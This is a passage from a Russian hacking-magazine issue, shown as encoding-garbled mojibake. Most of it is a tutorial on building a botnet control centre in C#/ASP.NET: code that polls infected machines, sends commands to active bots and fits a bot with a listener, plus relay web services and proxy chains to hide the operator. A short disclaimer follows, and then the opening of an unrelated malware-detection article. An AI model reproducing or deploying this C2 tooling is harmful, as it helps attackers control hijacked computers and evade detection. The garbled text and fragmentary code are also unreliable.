êîòîðûå ïðåäïî÷òóò ðàçìåñòèòü òàêóþ ñèñòåìó íà
ëèíóêñîâîì øåëëå, íî äëÿ ýòîãî íàäî èìåòü õîðî-
øèé øåëë è åùå 100% ãàðàíòèþ òîãî, ÷òî îí âíå-

çàïíî íå ïðîïàäåò, ïîýòîìó ëó÷øèì ðåøåíèåì, íà
ìîé âçãëÿä, ÿâëÿåòñÿ ñîçäàíèå ñêðèïòà, êîòîðûé
ìîæíî áóäåò ðàçìåñòèòü íà êàêîì-íèáóäü çàáóãîð-
íîì õîñòèíãå. Òàêæå, åñëè õàêåð íå õî÷åò ëèøíèé
ðàç ñâåòèòüñÿ, òî èç ñîîáðàæåíèé áåçîïàñíîñòè áû-
ëî áû âïîëíå ðàöèîíàëüíî íàïèñàòü âåá-ñåðâèñ,
êîòîðûé áû íàõîäèëñÿ â äðóãîì ìåñòå è íåïîñðåä-
ñòâåííî ïðîâåðÿë êîëè÷åñòâî áîòîâ â ñåòè. È, íàêî-
íåö, íàäî íàïèñàòü ïðîãðàììó, ÷åðåç êîòîðóþ õà-
êåð áóäåò ñîåäèíÿòüñÿ ñ âåá-ñåðâèñîì äëÿ ïðîâåð-
êè ñâîåãî áîòíåòà. Äëÿ áîëüøåé áåçîïàñíîñòè ëî-
ãè÷íî èñïîëüçîâàòü öåïü ïðîêñåé. Â îáùåì, õâàòèò
ðàçãîâîðîâ — ïðèñòóïèì ê ïðàêòèêå!

êîäèì. Âîçìîæíî, ìíîãèå ñòàëè áû ðåøàòü
ïîäîáíóþ çàäà÷ó íà perle'e èëè php, íî ÿ îãíåííûé
ïîêëîííèê âñåîáùåãî ïðîãðåññà, ïîýòîìó áóäó èñ-
ïîëüçîâàòü Ñ#. Äëÿ ñîçäàíèÿ âåá-ñåðâèñà ìû áó-
äåì èñïîëüçîâàòü ïëàòôîðìó ASP.NET, áëàãîäà-
ðÿ êîòîðîé ìîæíî ñîçäàâàòü C# âåá-ïðîåêòû. 

Îðãàíèçóåì íîâûé ASP.NET Web Site ñ ïîä-
äåðæêîé C# è íà÷èíàåì êîäèòü. Äëÿ ðàáîòû ñ
ASP.NET îáû÷íî èñïîëüçóåòñÿ ïðîñòðàíñòâî èìåí
System.Web. Íàì ïîíàäîáÿòñÿ êëàññû UI, WebCon-
trols, WebControls.WebParts, HtmlControls. Åñëè ìû
çàõîòèì çàïàðîëèòü (à ìû, ñêîðåå âñåãî, çàõîòèì),
òî íåîáõîäèìî áóäåò èñïîëüçîâàòü êëàññ Sy-

ÓÏÐÀÂËÅÍÈÅ ÁÎÒÍÅÒÎÌ 
ÏÎ-ÍÎÂÎÌÓ
Â ÐÀÇËÈ×ÍÛÕ ÈÇÄÀÍÈßÕ ×ÀÑÒÎ
ÐÀÑÑÊÀÇÛÂÀÞÒ Î ÒÎÌ, ÊÀÊ ÕÀÊÅÐÛ ÏÈØÓÒ
ÏÐÎÃÐÀÌÌÛ ÄËß ÓÃÍÅÒÅÍÈß ÍÅÂÈÍÍÛÕ
ÏÎËÜÇÎÂÀÒÅËÅÉ. ÂÎ ÂÑÅÕ ÝÒÈÕ ÑÒÀÒÜßÕ
ÏÎÄÐÎÁÍÎ ÎÏÈÑÛÂÀÞÒÑß ÔÓÍÊÖÈÈ
ÇÀÐÀÆÅÍÈß ÔÀÉËÎÂ, ÐÀÁÎÒÛ 
Ñ ÇÀÐÀÆÅÍÍÛÌ ÊÎÌÏÜÞÒÅÐÎÌ, ÈÍÎÃÄÀ
ÄÀÆÅ DDOS-ÀÒÀÊ, ÍÎ ÄÎÂÎËÜÍÎ ÐÅÄÊÎ
ÂÑÒÐÅ×ÀÞÒÑß ÑÒÀÒÜÈ, Â ÊÎÒÎÐÛÕ
ÎÏÈÑÛÂÀÞÒÑß ÏÐÈÍÖÈÏÛ ÓÏÐÀÂËÅÍÈß
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stem.Web.Security. Äëÿ íà÷àëà îïðåäåëèìñÿ ñ èí-
òåðôåéñîì: îí äîëæåí áûòü ïðîñò è ïîíÿòåí, à ñî-
äåðæàòü îí äîëæåí ôîðìó äëÿ îòïðàâêè êîìàíä áî-
òàì, ôîðìó äëÿ ïðîâåðêè àêòèâíîñòè áîòîâ, ôîðìó
äëÿ îáùåíèÿ ñ îäíèì áîòîì. Ìîæíî åùå ñäåëàòü
ôîðìó ñ íàñòðîéêàìè. Êðîìå ðàçíûõ ôîðì, îáÿçà-
òåëüíî äîëæåí áûòü òåêñòîâûé êîíòåéíåð, â êîòî-
ðîì áóäóò îòîáðàæàòüñÿ ñîîáùåíèÿ áîòîâ.

ïðèâåò —— îî’êåé. Ñ èíòåðôåéñîì ðàçîáðà-
ëèñü, òåïåðü ïåðåéäåì ê ñåòåâûì ôóíêöèÿì. ×òî-
áû ðàáîòàòü ñ ñîêåòàìè, íàì ïîíàäîáÿòñÿ ïðî-
ñòðàíñòâà èìåí System.Net è System.Net.Sockets.
Ïðåæäå ÷åì êîìàíäîâàòü áîòàìè, íåîáõîäèìî ïðî-
âåðèòü, ñêîëüêî áîòîâ â äàííûé ìîìåíò â ñåòè.
Äëÿ ýòîãî íàäî íàó÷èòü áîòà çäîðîâàòüñÿ ñ êîí-
òðîë-öåíòðîì. Íàïðèìåð, êîãäà õàêåð áóäåò íà-
æèìàòü êíîïêó «ïðîâåðèòü ñâÿçü», ïðîãðàììà áó-
äåò ðàññûëàòü ïî âñåì çàðàæåííûì IP-àäðåñàì

ñîîáùåíèÿ «ïðèâåò», à áîò, åñëè îí â îíëàéíå,
ïîëó÷èâ òàêîå ñîîáùåíèå, äîëæåí áóäåò îòâåòèòü
«î’êåé». Òàêèì îáðàçîì, áóäåò ïðîèñõîäèòü èäåí-
òèôèêàöèÿ àêòèâíûõ áîòîâ â ñåòè. Ïîñëå ïîëó-
÷åííûõ ñîîáùåíèé ïðîãðàììà äîëæíà â óäîáíîì
âèäå ïðåäñòàâèòü õàêåðó ñïèñîê àêòèâíûõ áîòîâ,
íàïðèìåð â êîìïîíåíò ListBox. Çíà÷èò, â èíòåð-
ôåéñ ìû äîáàâèì äâà ëèñòáîêñà: â ïåðâûé ìû áó-
äåì âûâîäèòü ñïèñîê âñåõ áîòîâ, à â äðóãîé —
òîëüêî àêòèâíûõ. Òåïåðü íàïèøåì ôóíêöèþ, êî-
òîðàÿ âñå ýòî áóäåò ñîâåðøàòü.

Êðîìå âûøåóïîìÿíóòûõ ïðîñòðàíñòâ èìåí,
íàì åùå ïîòðåáóåòñÿ ïðîñòðàíñòâî System.Text äëÿ
êîíâåðòèðîâàíèÿ òèïîâ, à èìåííî: íàì íóæíî áóäåò
ïðåîáðàçîâàòü òèï äàííûõ string â int. Äëÿ ýòîãî åñòü
êëàññ Convert, â êîòîðîì åñòü áîëüøîé íàáîð ôóíê-
öèé äëÿ êîíâåðòèðîâàíèÿ èç âñåãî âî âñå. Ñïåðâà
ïåðåâåäåì êîëè÷åñòâî IP-àäðåñîâ â òèï äàííûõ int:

string items = 

ListBox1.Items.Count.ToString();

int itm = Convert.ToInt32(items);

À òåïåðü òàêèì æå îáðàçîì ïåðåâåäåì íîìåð
ïîðòà â int:

string BOTport = TextBox4.Text;

int prt = Convert.ToInt32(BOTport);

Ïîñëå òàêèõ ïðåîáðàçîâàíèé ìû ìîæåì íàïèñàòü
öèêë äëÿ ïðîâåðêè ñâÿçè (ñìîòðèì ñîîòâåòñòâóþ-
ùóþ âðåçêó).

Â ïðèíöèïå, âñå äîâîëüíî ïîíÿòíî: îðãàíè-
çóåòñÿ öèêë, â êîòîðîì ñîçäàåòñÿ ñîêåò, à ïîòîì
èäåò ïîïûòêà ñîåäèíåíèÿ ñ áîòîì. Äëÿ ýòîãî ìû
ðåãèñòðèðóåì ïåðåìåííûå òèïà IPHostEntry, IPAd-
ress, IPEndPoint, çàòåì ñîçäàåì ñîêåò, èñïîëüçóþ-
ùèé ïðîòîêîë TCP, äàëåå öåíòð îòïðàâëÿåò áîòó
ñîîáùåíèå «ïðèâåò», ïðåäâàðèòåëüíî ïîäãîòîâèâ
ìàññèâ áàéòîâ ìåòîäîì Encoding.ASCII.GetBy-
tes(msg). Åñëè ïðîãðàììà ïîëó÷àåò «», òî îíà ñ÷è-
òàåò, ÷òî áîò àêòèâíûé. Â êîíöå öèêëà ìû çàêðû-
âàåì ñîêåò ìåòîäîì Socket.Shutdown() è Soc-
ket.Close(). Òåïåðü íåîáõîäèìî íàïèñàòü ôóíê-
öèþ, êîòîðàÿ áóäåò îòïðàâëÿòü êîìàíäû àêòèâíûì
áîòàì. Îíà, ñîáñòâåííî, ó íàñ óæå íàïèñàíà — åå
íàäî òîëüêî íåìíîãî ïîäêîððåêòèðîâàòü: íóæíî,
÷òîáû ôóíêöèÿ áðàëà IP-àäðåñ äëÿ îòïðàâêè ñîîá-

ùåíèé íå èç ïåðâîãî ListBox'a, à èç âòîðîãî, è ñëà-
ëà íå ñëîâî «ïðèâåò», à ëþáóþ êîìàíäó — äëÿ ýòî-
ãî íàäî ïðîñòî ïîìåíÿòü ñòðîêó íà: 

string msg = TextBox1.Text;   

byte[] msg2 = Encoding.ASCII.GetBytes(msg);

Òåïåðü, êîãäà ìû ìîæåì ïîëíîöåííî ðàçãîâàðè-
âàòü ñ áîòàìè, íàäî ïîäãîòîâèòü íàø ñêðèïò äëÿ
ýêñïîðòà â èíòåðíåò è îòêîìïèëèðîâàòüñÿ.

ãîòîâèì ííà ýýêñïîðò. Âî-ïåðâûõ, íàì íóæíî
ïîäïðàâèòü web.config, ÷òîáû íàø ñêðèïò ðàáîòàë
íà õîñòèíãå. Äëÿ ýòîãî íóæíî çàìåíèòü

<authentication mode="Windows"/> 

íà ñòðîêó

<authentication mode="Off"/>,

èëè ïðîñòî çàêîììåíòèðîâàòü, íî äåëàòü ýòî íóæ-
íî íå â áëîêíîòå, à èìåííî â ñòóäèè, ÷òîáû ïîòîì
íå áûëî ãëþêîâ. 

Ïîñëå òàêèõ íåõèòðûõ äåéñòâèé êîìïèëèðó-
åìñÿ è çàëèâàåì íàø ñêðèïò íà õîñòèíã. Òåïåðü
ìîæíî ðàáîòàòü.

Vista SStyle. Èíîãäà áûâàåò ñèòóàöèÿ, êîãäà
íåæåëàòåëüíî çàëåçàòü â ñàì öåíòð ïî òåì èëè
èíûì ïðè÷èíàì, à óçíàòü, ñêîëüêî áîòîâ â äàííûé
ìîìåíò íàõîäèòñÿ â ñåòè, íåîáõîäèìî. ×òî äåëàòü
â ïîäîáíîì ñëó÷àå? Åñòü ìíîãî ñïîñîáîâ ðåøåíèÿ
ïîäîáíîé ïðîáëåìû, íî ñàìûì óäîáíûì, íà ìîé
âçãëÿä, ÿâëÿåòñÿ óäàëåííûé ðàçãîâîð ñ öåíòðîì
óïðàâëåíèÿ áîòàìè. Òàêàÿ òàêòèêà îáùåíèÿ ñ öåí-
òðîì õîðîøà èç ñîîáðàæåíèé áåçîïàñíîñòè. Íà-
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Êîìàíäóåì áîòàìè...
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ïðèìåð, åñëè õàêåð áóäåò ñîåäèíÿòüñÿ ñ öåíòðîì
÷åðåç öåïî÷êó ïðîêñåé, è íå íà ïðÿìóþ, à ñ ïîä-
êëþ÷åíèåì ê âåá-ñëóæáå, êîòîðàÿ ìîæåò íàõî-
äèòüñÿ íà äðóãîì êîíöå ìèðà. Ïðèñòóïèì ê íàïè-
ñàíèþ âñåãî ýòîãî õîçÿéñòâà. Äëÿ íà÷àëà íàì íàäî
ñîçäàòü íîâûé ïðîåêò òèïà ASP.NET Web Service.
×òî ñîáîé ïðåäñòàâëÿåò äàííîå íîâîââåäåíèå?

Íà ñàìîì äåëå, ýòî ïðîñòîé ñêðèïò, ñ êîòîðûì
ìîæíî ðàáîòàòü íå íàïðÿìóþ, à îáðàùàÿñü ê íåìó
ïî http-ïðîòîêîëó èç êàêîãî-ëèáî ïðèëîæåíèÿ
(îáû÷íîé ïðîãðàììû èëè äðóãîãî ñêðèïòà). Âåá-
ñåðâèñû èñïîëüçóþò ïðîñòðàíñòâà èìåí Sy-
stem.Web.Services, System.Web.Services.Protocols,
System.Web.Services.Description è System.Web.Ser-
vices.Discovery. Âî âòîðîì ïðîñòðàíñòâå èìåí
îáîçíà÷åíû òèïû äëÿ ðàáîòû ñ ïðîòîêîëàìè, ïî
êîòîðûì áóäóò îáìåíèâàòüñÿ äàííûìè âåá-ñëóæ-
áà ñî ñâîèì êëèåíòîì. Âåá-ñëóæáà ìîæåò èñïîëü-
çîâàòü HTTP GET/POST è SOAP. Ìû áóäåì èñ-
ïîëüçîâàòü HTTP. Ñîçäàâ ïðîåêò, ìû âèäèì C#
êîä, â êîòîðîì âñòðå÷àþòñÿ ñòðîêè [WebMethod] —
íåòðóäíî äîãàäàòüñÿ, ÷òî òàê îáîçíà÷àþòñÿ ôóíê-
öèè, êîòîðûìè áóäåò îáëàäàòü ñåðâèñ. Äëÿ íàøèõ
öåëåé äîñòàòî÷íî íàïèñàòü ôóíêöèþ äëÿ ïðîâåð-
êè ñâÿçè ñ áîòàìè, è, ÷òîáû ýòî ðåàëèçîâàòü, â
ñåðâèñå ìû äîëæíû èñïîëüçîâàòü óæå èçâåñòíûå
íàì ïðîñòðàíñòâà èìåí, à èìåííî: System.Net, Sy-

stem.Net.Sockets, à òàêæå ïðîñòðàíñòâî èìåí Sy-
stem.Text äëÿ êîíâåðòèðîâàíèÿ èç áàéòîâ â ASCII,
è îáðàòíî. Íàäî óñëîâèòüñÿ, ÷òî êîãäà êëèåíò äå-
ëàåò çàïðîñ ê ñåðâèñó, òî ñåðâèñ ïîëó÷àåò äàííûå
î áîòå è âûâîäèò èëè åãî IP-àäðåñ, åñëè áîò â îí-
ëàéíå, èëè, åñëè áîò íå àêòèâåí, âûâîäèò ôðàçó íà
ÿçûêå áîòîâ: BINAN(Bot Is Not Available Now). Òå-
ïåðü íàäî ñîçäàòü ñòðîêó, â êîòîðóþ ìû áóäåì âñå
ýòî âîçâðàùàòü, è äîïèñàòü òóäà êîä äëÿ ïðîâåðêè
ñâÿçè — äëÿ ýòîãî íóæíî ïðîñòî âçÿòü êóñîê êîäà
èç ðàíåå íàïèñàííîãî íàìè ñêðèïòà äëÿ ðàáîòû ñ
áîòàìè è íåìíîãî äîïèñàòü åãî:

cîçäàåì ôôóíêöèþ ääëÿ ññåðâèñà
[WebMethod]

public string ActiveBots(string ip, 

string port)

{

try

{

int prt = Convert.ToInt32(port);

//òîò æå êîä

return ip;

}

catch(...)

{

port = "BINAN";

return port;

}

Ðàññìîòðèì âñå âûøå íàïèñàííîå. Â íà÷àëå ìû
ðåãèñòðèðóåì ñòðîêîâûé òèï äàííûõ, çàòåì ïîëó-
÷àåì IP-àäðåñ è ïîðò áîòà, ê êîòîðîìó íàì íàäî ñî-
åäèíèòüñÿ. Äàëåå ìû èñïîëüçóåì íîâóþ âîçìîæ-
íîñòü òåõíîëîãèè .NET, êîíâåðòèðóÿ ñòðîêó â int,
èñïîëüçóÿ ìåòîä ToInt32() êëàññà Convert. Â ñëó÷àå
óäà÷íîãî ñîåäèíåíèÿ ìû âûâîäèì IP-àäðåñ áîòà,
ïðè÷åì íå â âèäå òåêñòà, à â âèäå xml-êîäà. Ïðè íå-
óäà÷íîé ïîïûòêå ñîåäèíåíèÿ ìû ïðèñâàèâàåì ïå-
ðåìåííîé ïîðò — çíà÷åíèå BINAN è âûâîäèì åãî â
xml. Âîò è âñå. Íàñòàëî âðåìÿ íàïèñàòü êëèåíòà ê
ýòîìó ñåðâèñó.

ïèøåì êêëèåíòà. ×òî äîëæåí óìåòü êëèåíò?
Óìåòü ñîåäèíÿòüñÿ ñ âåá-ñëóæáîé è ñïðàøèâàòü
åå ïðè ïîìîùè http-çàïðîñîâ,  åñòü ëè áîò â îíëàé-
íå. Ïîñêîëüêó êëèåíò áóäåò ðàñïîëàãàòüñÿ íà êîì-
ïüþòåðå ó õàêåðà, òî òóò ìû âîëüíû â ñâîèõ æåëà-
íèÿõ — ìîæíî ñäåëàòü èíòåðôåéñ à-ëÿ ìåéë-àãåíò.
Íàïðèìåð, ïðîãðàììà áóäåò ñèäåòü â òðåå, à êàê
òîëüêî ïðîéäåò ïðîâåðêà íà êîëè÷åñòâî áîòîâ —
ïîÿâèòñÿ âñïëûâàþùàÿ ïîäñêàçêà ñî ñòàòèñòèêîé
áîòíåòà. Ñîçäàåì åùå îäèí ïðîåêò â ñòóäèè, âû-
áèðàåì Windows Application. Òåïåðü íàäî çàðåãè-
ñòðèðîâàòü â ïðîåêòå íàø âåá-ñåðâèñ, ÷òîáû ìû
ìîãëè ê íåìó îáðàùàòüñÿ. Äëÿ ýòîãî íóæíî çàéòè â
Solution Explorer, ùåëêíóòü ïðàâîé êëàâèøåé ïî
ïðîåêòó è âûáðàòü Add Web Reference. Òåïåðü íà-
äî âñòàâèòü òóäà àäðåñ íàøåãî âåá-ñåðâèñà è ïðè-
ñòóïàòü ê ïðîãðàììèðîâàíèþ êëèåíòà. Åñëè òû
âñå ïðàâèëüíî ñäåëàë, òî â êîäå äîëæíà ïîÿâèòüñÿ
ñòðîêà: using localhost. Èëè âìåñòî localhost — ëþ-

öèêë ïðîâåðêè ñâÿçè

for (i = 0; i < itm; i++)

{

ListBox1.SelectedIndex = i;

IPHostEntry host = Dns.Resolve(ListBox1.SelectedItem.Text); 

//ðàáîòàåì ñ ñîêåòàìè

IPAddress ip = host.AddressList[0]; 

//îáüÿâëÿåì ïåðåìåííûå

IPEndPoint ep = new IPEndPoint(ip, prt);

Socket client_sock = new Socket(AddressFamily.InterNetwork, 

SocketType.Stream, ProtocolType.Tcp);

try

{

client_sock.Connect(ep);

string msg = "privet";   //ÏÐÈÂÅÒ:)

byte[] msg2 = Encoding.ASCII.GetBytes(msg); //ïåðåêîäèðóåì åå â áàéòû

int send_msg = client_sock.Send(msg2);

byte[] data = new byte[1024];

int recv = client_sock.Receive(data);

ListBox2.Items.Add(ip.ToString());

client_sock.Shutdown(SocketShutdown.Both); //çàêðûâàåì ñîêåò

client_sock.Close();

}

catch (SocketException Sock)

{

TextBox7.Text = Sock.ToString();

} 

}

(1)

Ðàáîòàåì ñ ñåðâèñîì ÷åðåç êëèåíò



áîå çàäàííîå íàçâàíèå. Òåïåðü íàäî ñîçäàòü ïðî-
ñòîé èíòåðôåéñ è íàïèñàòü ôóíêöèþ äëÿ îáùåíèÿ
ñ âåá-ñåðâèñîì. Äëÿ íà÷àëà íàì íàäî íàó÷èòüñÿ
ðàáîòàòü ñ ñåðâèñîì. Îáúÿâëÿåì ïåðåìåííóþ,
ñîçäàåì îáúåêò, çàòåì îáðàùàåìñÿ ê ñåðâèñó è
âîçâðàùàåì îòâåò ñåðâèñà â ñòðîêîâûé òèï äàí-
íûõ. Ðåàëèçóåì âûøåñêàçàííîå â êîäå:

localhost.Service bots = 

new localhost.Service();

string go = bots.ActiveBots(ip, port);

Òåïåðü íóæíî íàïèñàòü öèêë, ïîõîæèé íà òîò, êî-
òîðûì ìû ïðîâåðÿëè êîëè÷åñòâî àêòèâíûõ áî-
òîâ, íî òîëüêî áåç ïîäêëþ÷åíèÿ ê íèì, èñïîëüçóÿ
âîò ýòîò êîä:

öèêë ääëÿ ïïðîâåðêè ññâÿçè ááåç ïïîäêëþ÷åíèÿ
for (i = 0; i < itm; i++)

{

listBox1.SelectedIndex = i;

try

{

string ip = 

listBox1.SelectedItem.ToString();

string go = 

bots.ActiveBots(ip, "11000");

textBox1.Text = go.ToString();

if (go != "BINAN")

{

listBox2.Items.Add(ip.ToString());

}

} //...

ïîâûøàåì ááåçîïàñíîñòü. Íà äàííûé ìîìåíò
ó íàñ åñòü öåïü: áîò-öåíòð-ñåðâèñ-öåïü ïðîêñåé-
êëèåíò-õàêåð, îäíàêî âïîëíå ìîæíî ðåàëèçîâàòü
ñâÿçóþùåå çâåíî ìåæäó êëèåíòîì è âåá-ñåðâèñîì
(äëÿ áîëüøåé áåçîïàñíîñòè). Áëàãîäàðÿ òàêîìó
çâåíó áåçîïàñíîñòü ïîâûñèòñÿ â äâà ðàçà, íî äëÿ
ýòîãî íóæíî ìíîãî âåá-ïðîñòðàíñòâà íà ðàçíûõ
ñåðâåðàõ. Ïîýòîìó ñîçäàäèì âåá-ñåðâèñ, àíàëî-
ãè÷íûé íàøåìó, è ïðîñòî íåìíîãî ïåðåäåëàåì
ôóíêöèþ ïðèåìà è ïåðåäà÷è äàííûõ, ÷òîáû îáðà-
çîâûâàëàñü öåïü. Èñïîëüçîâàíèå ïîäîáíîé öåïè â
ñâÿçêå ñ öåïüþ ïðîêñåé ñèëüíî óâåëè÷èâàåò øàí-
ñû õàêåðà îñòàòüñÿ íåçàìå÷åííûì. 

Õîòÿ äàííûé ñêðèïò è ïîäõîäèò ê ëþáûì spy-
ware-ïðîãðàììàì, êîòîðûå ïðèíèìàþò êîìàíäû
òàêèì ñïîñîáîì, ÿ âñå ðàâíî ïîêàæó, êàê õàêåðû
ïîäãîíÿþò ïîä íåãî áîòîâ. Â èþëüñêîì íîìåðå
æóðíàëà «Õàêåð» ÿ óæå ðàññêàçûâàë îá àçàõ íàïè-
ñàíèÿ ïîäîáíûõ ïðîãðàìì íà .NET'e. Òåïåðü íàäî
òîëüêî íåìíîãî ïîäîãíàòü: äîáàâèì ôóíêöèþ äëÿ
îïåðàöèè «ïðèâåò-î’êåé» — äëÿ ýòîãî íóæíî âñòà-
âèòü â ãëàâíûé öèêë åùå îäíî óñëîâèå:

if (info.IndexOf("privet") > -1) {

byte[] send_text = 

Encoding.ASCII.GetBytes(ip + ": 

OKAY!!!"); }

Òàêèì îáðàçîì, ïðîãðàììà ïðåîáðàçóåò íàø «î’êåé»
â ìàññèâ áàéòîâ. À òåïåðü îñòàëîñü íàïèñàòü öèêë
äëÿ ïîâèñàíèÿ íà 11000 ïîðòå — äëÿ ýòîãî ìû áó-
äåì èñïîëüçîâàòü âñå òå æå êëàññû Net è Net.Soc-
kets. Äëÿ íà÷àëà îáúÿâèì âñå ïåðåìåííûå è íàïè-
øåì öèêë:

ïîäãîíêà ááîòà
try

{

listn.Bind(ep); //áèíäèì ñîêåò

listn.Listen(2); //ñëóøàåì ñîêåò

while (true)

{

Console.WriteLine("Listing.. port 

{0}", ep);

Socket hnd = listn.Accept(); 

//ðàçðåøàåì êîííåêò

string info = null;

while (true)

{

byte[] data_g = new byte[1024];

int recev = hnd.Receive(data_g); 

//ïîëó÷àåì äàííûå îò õàêåðà

info += Encoding.ASCII.GetString

(data_g, 0, recev); 

//çàïèèâàåì äàííûå â ïåðåìåííóþ

//äàëåå èäåò îáðàáîòêà áîòîâñêèõ 

êîììàíä 

âûâîä. Íà îñíîâå òåõíîëîãèè .NET ìû ñîçäà-
ëè íàáîð ïðîãðàìì äëÿ óïðàâëåíèÿ áîòíåòàìè.
Çàìåòü, íàñêîëüêî óâåëè÷èâàåòñÿ áåçîïàñíîñòü
áëàãîäàðÿ âåá-ñåðâèñàì. Èñïîëüçóÿ ïîäîáíóþ
òàêòèêó, õàêåð âñåãäà îñòàíåòñÿ íåçàìåòíûì â ñå-
òè ïðè ðàáîòå ñ áîòàìè, à ýòî íåìàëîâàæíî. Â äàí-
íîé ñèñòåìå óïðàâëåíèÿ áîòàìè åñòü ìíîãî ïëþ-
ñîâ. Åäèíñòâåííûì ìèíóñîì ÿâëÿåòñÿ òîëüêî òî,
÷òî äëÿ áîëüøîãî ÷èñëà çâåíüåâ íåîáõîäèìî ìíî-
ãî ñåðâåðîâ, íà êîòîðûõ ìû ðàçìåñòèì âåá-ñåðâè-
ñû. Äîñòàòî÷íî âñåãî ëèøü 1-2 äîïîëíèòåëüíûõ
ñåðâèñà — åñëè òåáå íóæíà âûñîêàÿ áåçîïàñ-
íîñòü, è 3-4 — åñëè òû ïàðàíîèê:). Íà ïðèìåðå
ýòîé ñòàòüè õîðîøî âèäíî, íàñêîëüêî ìíîãî âîç-
ìîæíîñòåé äàåò òåõíîëîãèÿ .NET äëÿ õàêåðà, òàê
÷òî, êòî åùå íå âîîðóæèëñÿ, áåãîì ñòàâèòü 2005
ñòóäèþ. Îäíàêî íå çàáûâàé: DDoS-àòàêè — ýòî â
âûñøåé ñòåïåíè íåçàêîííî. Íå ñòîèò ïîäðûâàòü
ñâîþ ñóäüáó/æèçíü/êàðüåðó ñêèòàíèÿìè ïî ñóäàì
è ïðî÷èì èíñòàíöèÿì, âåäü ïîäîáíûå ñèñòåìû
ìîæíî èñïîëüçîâàòü íå òîëüêî âî çëî, íî è äëÿ
óïðàâëåíèÿ êîìïüþòåðàìè âî âðåìÿ net renderinga
ïðè ìîäåëèðîâàíèè â 3d max'e. Î÷åíü ñîâåòóþ ïå-
ðå÷èòàòü ñòàòüþ, ÷òîáû óñâîèòü âñå âûøå ñêàçàí-
íîå. Åñëè ó òåáÿ åñòü êàêèå-òî âîïðîñû èëè ïðåä-
ëîæåíèÿ îòíîñèòåëüíî ñòàòüè — ïèøè, ÿ ñ ðàäî-
ñòüþ îòâå÷ó

ÍÍàà êêîîììïïààêêòò-ääèèññêêåå òòûû ííààééääååøøüü èèññõõîîääííèèêêèè êê êêîîííòòððîîëë-ööååííòòððóó,,
ââååáá-ññååððââèèññóó,, êêëëèèååííòòóó èè ääîîïïèèññààííííîîììóó ááîîòòóó

ÍÍààïïîîììèèííààþþ,, ÷÷òòîî ââññåå ììààòòååððèèààëëûû ññòòààòòüüèè ïïððååääññòòààââëëååííûû 
èèññêêëëþþ÷÷èèòòååëëüüííîî ääëëÿÿ èèññññëëååääîîââààòòååëëüüññêêèèõõ ööååëëååéé —— 
ííåå ññòòîîèèòò èèññïïîîëëüüççîîââààòòüü èèõõ ââîî ççëëîî
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Äîáàâëÿåì ññûëêó íà âåá-ñåðâèñ â ïðîåêò



Âî âðåìåíà MS-DOS ðó÷íàÿ ÷èñòêà êîìïüþòåðà
áûëà îáû÷íûì äåëîì. Êîëè÷åñòâî èñïîëíÿåìûõ
ôàéëîâ èçìåðÿëîñü äåñÿòêàìè, è ñóùåñòâîâàëî íå
òàê óæ è ìíîãî ìåñò, ïðèãîäíûõ äëÿ âíåäðåíèÿ
ìàëâàðè. Ïîä «ìàëâàðüþ» (îò àíãëèéñêîãî malwa-
re) ïîäðàçóìåâàåòñÿ âðåäîíîñíîå ïðîãðàììíîå
îáåñïå÷åíèå — âèðóñû, ÷åðâè, øïèîíû è ò.ä. Ñ
ïðèõîäîì Windows âñå èçìåíèëîñü. Èç êðîõîòíîãî
ïîñåëêà îïåðàöèîííàÿ ñèñòåìà ïðåâðàòèëàñü â
îãðîìíûé, ñòðåìèòåëüíî ðàçðàñòàþùèéñÿ ìåãàëî-
ïîëèñ, ñðåäè ñîòåí òûñÿ÷ ôàéëîâ êîòîðîãî ìîæåò
ñïðÿòàòüñÿ è ñëîíîïîòàì.

Îäèí ÷åëîâåê çà ðàçóìíîå âðåìÿ âðÿä ëè ñó-
ìååò îáíàðóæèòü êà÷åñòâåííî ñïðîåêòèðîâàííóþ
è ãðàìîòíî çàëîæåííóþ çàêëàäêó. Íàìíîãî ïðîùå

(äà è áûñòðåå) ïåðåóñòàíîâèòü Windows ñ íóëÿ. 
Ê ñ÷àñòüþ, êà÷åñòâåííàÿ ìàëâàðü — îãðîìíàÿ
ðåäêîñòü, ïðàêòè÷åñêè íå âñòðå÷àþùàÿñÿ â æèâîé
ïðèðîäå. Â îñíîâíîì ïðèõîäèòñÿ ñòàëêèâàòüñÿ ñ
ïèîíåðñêèìè ïîäåëêàìè, îñòàâëÿþùèìè ïîñëå
ñåáÿ êó÷ó ñëåäîâ è ëåãêî ðàçëè÷èìûìè ñ ïîìîùüþ
soft-ice è ñîïóòñòâóþùèõ åìó óòèëèò.

Âåñü âîïðîñ â òîì, êàê ïðàâèëüíî èìè ïîëüçî-
âàòüñÿ. Íó, óñòàíîâèë soft-ice, íàæàë <CTRL-D>,
óâèäåë ÷åðíûé ýêðàí... Äàëüøå-òî ÷òî?! À âîò äàëü-
øå íà÷èíàåì äåëèòüñÿ õàêåðñêèìè ñåêðåòàìè...

60 ÐÀÇÎÁËÀ×ÅÍÈÅ

68 Â ÖÅËßÕ ÑÀÌÎÇÀÙÈÒÛ

72 ÓÌÍÀß ÑËÅÆÊÀ

76 ÓÌÐÈ, ÍÎ ÍÅ ÑÅÉ×ÀÑ
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ÂÛßÂËÅÍÈÅ ÂÐÅÄÎÍÎÑÍÎÃÎ ÏÎ
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aka Ìûùúõ

ððààççîîááëëàà÷÷ååííèèåå
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âðåìÿ îîñòàâëÿåò îîòïå÷àòêè. ×àùå âñåãî ìàë-
âàðü êîïèðóåò ñâîþ òóøó â íîâûé ôàéë ñî ñëó÷àé-
íûì èëè ôèêñèðîâàííûì íàçâàíèåì, ðåæå — âíå-
äðÿåòñÿ â óæå ñóùåñòâóþùèå (÷òî òðåáóåò íå òîëü-
êî çíàíèÿ óñòðîéñòâà PE-ôîðìàòà, íî è îïðåäåëåí-
íûõ ïðèâèëåãèé, â ÷àñòíîñòè, èç-ïîä ïîëüçîâàòåëü-
ñêîãî àêêàóíòà ñèñòåìíûå ôàéëû ïðîñòî òàê íå çà-
ðàçèøü). Ïðè ýòîì ïîäàâëÿþùåå áîëüøèíñòâî
malware-ïèñàòåëåé çàáûâàþò ñêîððåêòèðîâàòü äà-
òó/âðåìÿ ñîçäàíèÿ ôàéëà, âûäàâàÿ ñåáÿ ñ ãîëîâîé.

Äîïóñòèì, òû çàïóñòèë ôàéë ñîìíèòåëüíîãî
ïðîèñõîæäåíèÿ è õî÷åøü óçíàòü, íå íàòâîðèë ëè
îí ÷åãî â ñèñòåìå. Ïóñê Íàéòè Ôàéëû è Ïàïêè

Ïàðàìåòðû Ïîèñêà Ôàéëû, ñîçäàííûå çà xxx
